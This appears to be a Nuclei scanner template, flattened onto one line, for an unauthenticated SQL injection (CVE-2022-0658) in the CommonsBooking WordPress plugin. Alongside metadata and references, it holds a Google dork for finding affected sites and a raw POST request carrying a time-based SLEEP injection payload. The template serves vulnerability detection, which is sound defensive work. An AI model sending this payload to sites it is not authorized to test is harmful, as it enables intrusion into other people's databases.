id: CVE-2022-0658 info: name: CommonsBooking < 2.6.8 - SQL Injection author: theamanrawat severity: critical description: | The plugin does not sanitise and escape the location parameter of the calendar_data AJAX action (available to unauthenticated users) before it is used in dynamically constructed SQL queries, leading to an unauthenticated SQL injection. remediation: Fixed in version 2.6.8 reference: - https://wpscan.com/vulnerability/d7f0805a-61ce-454a-96fb-5ecacd767578 - https://wordpress.org/plugins/commonsbooking/ - https://nvd.nist.gov/vuln/detail/CVE-2022-0658 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-0658 cwe-id: CWE-89 epss-score: 0.03633 epss-percentile: 0.90761 cpe: cpe:2.3:a:wielebenwir:commonsbooking:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: wielebenwir product: commonsbooking framework: wordpress google-query: inurl:/wp-content/plugin/commonsbooking/ tags: cve,cve2022,wordpress,wp-plugin,wp,commonsbooking,sqli,wpscan,wielebenwir http: - raw: - | @timeout: 20s POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=calendar_data&sd=2099-02-13&ed=2099-02-13&item=1&location=(SELECT+1743+FROM+(SELECT(SLEEP(6)))iXxL3) matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200' - 'contains(header, "application/json")' - 'contains(body, "partiallyBookedDays") && contains(body, "lockDays")' condition: and # digest: 490a0046304402207563e10c445119a00a94512a3bb958b7f09152ba032b8d5551d9186b0689e91802206d0bb84d3e245bfde2f796268230f0093c06358c923b1ca90eeb7ac37a8a8e4a:922c64590222798bb761d5b6d8e72950